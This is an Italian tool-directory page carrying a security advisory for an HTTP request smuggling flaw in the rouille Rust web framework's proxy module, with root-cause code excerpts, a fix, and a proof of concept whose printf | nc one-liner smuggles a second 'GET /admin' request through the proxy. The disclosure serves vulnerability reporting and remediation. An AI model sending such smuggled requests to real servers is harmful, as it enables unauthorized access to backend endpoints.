Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Avviso di sicurezza: HTTP Request Smuggling tramite desincronizzazione del Transfer-Encoding (rouille)

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
23 giorni faNon ancora revisionato

Avviso di sicurezza: HTTP Request Smuggling tramite desincronizzazione del Transfer-Encoding (rouille)

ID CVE assegnato: CVE-2026-67181

Riepilogo

rouille::proxy::proxy inoltra l'header Transfer-Encoding del client al backend senza modifiche, ma scrive il corpo della richiesta che tiny_http ha già privato della codifica chunked. Non emette mai un Content-Length proprio. Al backend viene detto che il corpo è chunked e vengono passati byte che non sono chunked, quindi è il client, non rouille, a decidere dove il backend pensa che il corpo termini.

Versioni interessate

Repo URL: https://github.com/tomaka/rouille

Prima versione interessata0.3.3 (2016-12-03), la versione che ha introdotto src/proxy.rs
Ultima versione interessata3.6.2 (2023-04-24), la versione attuale
Non interessate0.3.2 e precedenti, che non hanno il modulo proxy
Corretta innessuna versione corretta al momento della scrittura

src/proxy.rs è byte-identico tra il tag 3.6.2 e l'attuale master. Sono interessate solo le applicazioni che chiamano proxy::proxy o proxy::full_proxy.

Gravità

CWE-444 (Interpretazione incoerente delle richieste HTTP).

Punteggio base CVSS 4.0 6.3 (Medio) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modello di minaccia

Un client remoto e non autenticato che invia HTTP grezzo a un'applicazione rouille che funge da reverse proxy. Non sono necessarie credenziali né interazione con l'utente.

L'impatto dipende dal backend. I backend che operano in pipeline nonostante Connection: close, e qualsiasi intermediario con pool di connessioni posto tra rouille e l'origine, agiranno sulla richiesta contrabbandata. I backend che rispettano Connection: close si ritrovano comunque con un corpo della richiesta diverso da quello inviato dal client e da quello osservato da rouille.

Causa principale

tiny_http rimuove la codifica chunked ogni volta che è presente un header Transfer-Encoding e scarta Content-Length.

tiny_http-0.12.0/src/request.rs, righe 149-159:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, righe 218-221:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs inoltra quindi ogni header tranne Connection e copia il corpo decodificato. Righe 167-174:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Il Transfer-Encoding: chunked del client sopravvive alla riga 171. La riga 174 scrive il testo in chiaro prodotto dal Decoder. Non viene mai scritto un Content-Length, quindi il backend non ha altro su cui basarsi per la delimitazione e applica il parsing chunked a un testo in chiaro scelto dall'attaccante.

Prova di concetto

Passaggio 1. Avvia un listener grezzo sulla porta 8001 per fungere da backend e mostrare i byte che rouille invia.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Passaggio 2. Avvia un frontend rouille sulla porta 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Passaggio 3. Invia una richiesta con codifica chunked corretta il cui corpo decodificato è a sua volta uno stream chunked che termina subito, seguita da una seconda richiesta. Il singolo chunk è lungo 0x3d = 61 byte.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Risultato. Il listener del passaggio 1 mostra rouille che annuncia una delimitazione chunked e poi invia testo in chiaro:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Un backend che rispetta Transfer-Encoding: chunked legge la riga con la dimensione del chunk 0, conclude che il corpo è vuoto e interpreta i restanti 56 byte come una nuova richiesta.

Impatto

La visione del corpo della richiesta da parte del backend differisce sia dai byte inviati dal client sia dai byte letti da rouille. Qualsiasi componente a monte che registri, controlli o replichi il corpo registra qualcosa di diverso da ciò su cui il backend ha agito.

Quando il backend opera in pipeline nonostante Connection: close, o quando un intermediario con pool di connessioni si trova tra rouille e l'origine, i byte finali diventano una seconda richiesta con metodo e percorso scelti dall'attaccante.

Anche il Content-Length del client viene inoltrato, nonostante tiny_http lo abbia ignorato, quindi un backend che preferisce Content-Length a Transfer-Encoding ottiene direttamente una desincronizzazione CL.TE.

Rimedio

Non inoltrare header di delimitazione che descrivono un corpo che rouille ha già decodificato. In src/proxy.rs, estendi il salto alla riga 167:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

Quindi emetti una delimitazione che corrisponda a ciò che viene effettivamente scritto: bufferizza il corpo e invia un Content-Length accurato, oppure ricodificalo in chunk e invia tu stesso Transfer-Encoding: chunked, prima del \r\n\r\n di terminazione alla riga 173.

Scarica lo strumento